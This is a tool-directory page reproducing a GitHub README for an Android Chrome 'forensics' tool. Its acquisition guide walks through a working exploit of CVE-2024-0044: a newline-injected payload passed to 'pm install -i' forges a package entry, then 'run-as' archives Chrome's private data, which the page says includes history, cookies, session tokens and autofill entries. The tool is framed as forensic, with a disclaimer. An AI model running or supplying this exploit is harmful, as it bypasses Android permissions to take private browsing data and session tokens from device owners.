Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Chrome-Forensic_CVE-2024-0044 — A robust digital forensics tool for extracting and analyzing Google Chrome artifacts from Android devices | Kitploit
Tools/GitHubGitHub/jacktekno/chrome-forensic_cve-2024-0044
Android SecurityVulnerability AnalysisExploitationForensicsMobile ForensicsData RecoveryDigital ForensicsMobile SecurityLearning & Education

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
GitHubjacktekno/chrome-forensic_cve-2024-0044

Chrome-Forensic_CVE-2024-0044

A robust digital forensics tool for extracting and analyzing Google Chrome artifacts from Android devices

View Repository
17 months agoNot yet reviewed

🔍 Chrome Forensic - CVE-2024-0044

Version Python License Platform

A robust digital forensics tool for extracting and analyzing Google Chrome artifacts from Android devices

Features • Installation • Usage • Documentation


👤 Author Information

Author: JackTekno
GitHub: github.com/JackTekno


📋 Overview

This tool utilizes the CVE-2024-0044 (Run-as) vulnerability to bypass permission restrictions on non-rooted Android 12/13 devices, enabling forensic extraction of Google Chrome data. The tool parses raw SQLite databases and generates comprehensive analysis reports.

🔄 Process Flow

Forensic Analysis Flowchart

Complete forensic analysis workflow from acquisition to reporting


📊 Features & Output

The tool generates a comprehensive Excel report (result_chrome_forensic.xlsx) with the following sheets:


🛠️ Prerequisites

Hardware Requirements

  • 📱 Android Phone (Android 12/13)
  • 💻 PC (Linux/Windows/Mac)

Tested Environment

  • 🐧 OS: Linux UOS 20 Professional

Software Requirements

  • 🐍 Python 3.x
  • 📲 ADB (Android Debug Bridge)
  • 📦 Dummy APK file (e.g., F-Droid.apk)

🚀 Installation

  1. Clone the repository

    root@kitploit:~
    git clone https://github.com/JackTekno/Chrome-Forensic_CVE-2024-0044.git
    cd Chrome-Forensic_CVE-2024-0044
    
  2. Install dependencies

    root@kitploit:~
    pip install -r requirements.txt
    

🔓 Data Acquisition Guide

Step 1: Prepare the Device

  1. Navigate to Settings → About Phone
  2. Tap Build Number 7 times to enable Developer Options
  3. Go to Settings → System → Developer Options
  4. Enable USB Debugging
  5. Connect phone to PC via USB and authorize the connection

Step 2: Prepare the Exploit

root@kitploit:~
# Push a dummy APK to temporary folder
adb push F-Droid.apk /data/local/tmp/base.apk

Step 3: Find Target UID

root@kitploit:~
adb shell pm list packages -U | grep com.android.chrome
# Output example: package:com.android.chrome uid:10129
# Note the UID (e.g., 10129)

Step 4: Execute Exploit

⚠️ Replace 10129 with your actual Chrome UID from Step 3

root@kitploit:~
adb shell

# Inside ADB Shell:
PAYLOAD="@null
victim 10129 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null"

# Trigger the package manager
pm install -i "$PAYLOAD" /data/local/tmp/base.apk

Step 5: Extract Data

root@kitploit:~
# Still inside ADB Shell
run-as victim tar -cf - /data/data/com.android.chrome/ | cat > /data/local/tmp/chrome.tar

# Exit ADB Shell
exit

Step 6: Pull Data to PC

root@kitploit:~
adb pull /data/local/tmp/chrome.tar .

Step 7: Unpack Data

Extract the 'chrome.tar' file in the project folder. You do not need to move files manually. The Python script will automatically find the database files inside the extracted folders.

root@kitploit:~
tar -xf chrome.tar

💻 Usage

Run the forensic analysis tool:

root@kitploit:~
python3 chrome_forensic.py

The tool will analyze the database files and generate result_chrome_forensic.xlsx in the same directory.


⚖️ Legal Disclaimer

⚠️ IMPORTANT: This tool is designed for educational and authorized forensic analysis purposes only.

  • Only use on devices you own or have explicit written permission to analyze
  • Unauthorized access to digital devices may violate laws in your jurisdiction
  • The authors assume no liability for misuse of this tool

🤝 Contributing

Contributions are welcome! Please feel free to submit a Pull Request.


📄 License

This project is licensed under the GNU General Public License v3.0. See the LICENSE file for details.


👤 Credit

The proof of concept for the acquisition method was summarised and shared by Tinyhack.com.


Made with ❤️ by JackTekno

⭐ Star this repo • 🐛 Report Bug • 💡 Request Feature

Download Tool
Sheet NameDescription
📖 Browsing HistoryDetailed timeline of visited URLs
📈 Analytics – Top SitesStatistical ranking of most visited domains
⚠️ ALERTS – SuspiciousAuto-flagged URLs (hacking, drugs, adult content)
📥 DownloadsDownload history with paths and file sizes
🔍 Search TermsUser search queries from omnibox/Google
🍪 Cookies & SessionsSession tokens and cookie metadata (Hex encrypted)
✍️ Autofill DataSaved form data (names, addresses, etc.)